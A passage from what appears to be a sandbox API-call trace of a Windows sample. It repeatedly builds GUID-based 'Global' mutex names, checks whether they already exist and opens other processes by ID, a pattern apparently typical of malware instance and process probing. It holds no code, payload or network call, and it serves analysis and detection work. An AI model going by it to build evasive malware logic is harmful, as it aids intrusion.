Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0112.679] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0112.679] GetLastError () returned 0xb7 [0112.679] CloseHandle (hObject=0x13e0) returned 1 [0112.679] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0112.679] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0112.679] GetLastError () returned 0x0 [0112.680] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0112.680] CloseHandle (hObject=0x13e0) returned 1 [0112.687] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0112.687] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0112.687] GetLastError () returned 0xb7 [0112.687] CloseHandle (hObject=0x13e0) returned 1 [0112.880] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0112.880] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0112.880] GetLastError () returned 0xb7 [0112.880] CloseHandle (hObject=0x13e0) returned 1 [0112.880] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0112.880] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0112.880] GetLastError () returned 0xb7 [0112.880] CloseHandle (hObject=0x13e0) returned 1 [0112.881] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0112.881] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0112.881] GetLastError () returned 0x0 [0112.881] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0112.881] CloseHandle (hObject=0x13e0) returned 1 [0112.881] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0112.881] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0112.881] GetLastError () returned 0x0 [0112.881] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0112.881] CloseHandle (hObject=0x13e0) returned 1 [0112.882] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0112.882] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0112.882] GetLastError () returned 0xb7 [0112.882] CloseHandle (hObject=0x13e0) returned 1 [0112.882] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0112.882] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0112.882] GetLastError () returned 0x0 [0112.882] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0112.882] CloseHandle (hObject=0x13e0) returned 1 [0112.890] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0112.890] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0112.890] GetLastError () returned 0xb7 [0112.890] CloseHandle (hObject=0x13e0) returned 1 [0113.067] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0113.067] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0113.068] GetLastError () returned 0xb7 [0113.068] CloseHandle (hObject=0x13e0) returned 1 [0113.068] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0113.068] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0113.068] GetLastError () returned 0xb7 [0113.068] CloseHandle (hObject=0x13e0) returned 1 [0113.068] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0113.068] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0113.069] GetLastError () returned 0x0 [0113.069] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0113.069] CloseHandle (hObject=0x13e0) returned 1 [0113.069] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0113.069] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0113.069] GetLastError () returned 0x0 [0113.069] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0113.069] CloseHandle (hObject=0x13e0) returned 1 [0113.069] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0113.069] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0113.069] GetLastError () returned 0xb7 [0113.069] CloseHandle (hObject=0x13e0) returned 1 [0113.070] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0113.070] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0113.070] GetLastError () returned 0x0 [0113.070] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0113.070] CloseHandle (hObject=0x13e0) returned 1 [0113.077] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0113.077] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0113.077] GetLastError () returned 0xb7 [0113.077] CloseHandle (hObject=0x13e0) returned 1 [0113.278] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0113.279] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0113.279] GetLastError () returned 0xb7 [0113.279] CloseHandle (hObject=0x13e0) returned 1 [0113.279] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0113.279] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0113.279] GetLastError () returned 0xb7 [0113.279] CloseHandle (hObject=0x13e0) returned 1 [0113.280] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0113.280] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0113.280] GetLastError () returned 0x0 [0113.280] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0113.280] CloseHandle (hObject=0x13e0) returned 1 [0113.280] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0113.280] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0113.280] GetLastError () returned 0x0 [0113.280] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0113.280] CloseHandle (hObject=0x13e0) returned 1 [0113.281] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0113.281] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0113.281] GetLastError () returned 0xb7 [0113.281] CloseHandle (hObject=0x13e0) returned 1 [0113.281] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0113.281] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0113.281] GetLastError () returned 0x0 [0113.281] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0113.281] CloseHandle (hObject=0x13e0) returned 1 [0113.288] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0113.288] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0113.288] GetLastError () returned 0xb7 [0113.288] CloseHandle (hObject=0x13e0) returned 1 [0113.473] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0113.473] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0113.473] GetLastError () returned 0xb7 [0113.473] CloseHandle (hObject=0x13e0) returned 1 [0113.474] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0113.474] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0113.474] GetLastError () returned 0xb7 [0113.474] CloseHandle (hObject=0x13e0) returned 1 [0113.474] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0113.474] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0113.474] GetLastError () returned 0x0 [0113.474] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0113.474] CloseHandle (hObject=0x13e0) returned 1 [0113.475] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0113.475] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0113.475] GetLastError () returned 0x0 [0113.475] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0113.475] CloseHandle (hObject=0x13e0) returned 1 [0113.475] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0113.475] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0113.475] GetLastError () returned 0xb7 [0113.475] CloseHandle (hObject=0x13e0) returned 1 [0113.475] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0113.475] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0113.475] GetLastError () returned 0x0 [0113.476] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0113.476] CloseHandle (hObject=0x13e0) returned 1 [0113.483] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0113.483] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0113.483] GetLastError () returned 0xb7 [0113.483] CloseHandle (hObject=0x13e0) returned 1 [0113.722] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0113.722] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0xef8 [0113.722] GetLastError () returned 0xb7 [0113.722] CloseHandle (hObject=0xef8) returned 1 [0113.722] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0113.723] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0xef8 [0113.723] GetLastError () returned 0xb7 [0113.723] CloseHandle (hObject=0xef8) returned 1 [0113.723] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0113.723] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0xef8 [0113.723] GetLastError () returned 0x0 [0113.723] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0113.723] CloseHandle (hObject=0xef8) returned 1 [0113.724] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0113.724] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0xef8 [0113.724] GetLastError () returned 0x0 [0113.724] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0113.724] CloseHandle (hObject=0xef8) returned 1 [0113.724] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0113.724] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0xef8 [0113.724] GetLastError () returned 0xb7 [0113.724] CloseHandle (hObject=0xef8) returned 1 [0113.724] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0113.724] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0xef8 [0113.724] GetLastError () returned 0x0 [0113.724] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0113.724] CloseHandle (hObject=0xef8) returned 1 [0113.732] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0113.732] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0xef8 [0113.732] GetLastError () returned 0xb7 [0113.732] CloseHandle (hObject=0xef8) returned 1 [0113.909] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0113.909] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0113.909] GetLastError () returned 0xb7 [0113.909] CloseHandle (hObject=0x13e0) returned 1 [0113.910] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0113.910] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0113.910] GetLastError () returned 0xb7 [0113.910] CloseHandle (hObject=0x13e0) returned 1 [0113.910] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0113.910] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0113.910] GetLastError () returned 0x0 [0113.910] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0113.910] CloseHandle (hObject=0x13e0) returned 1 [0113.911] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, 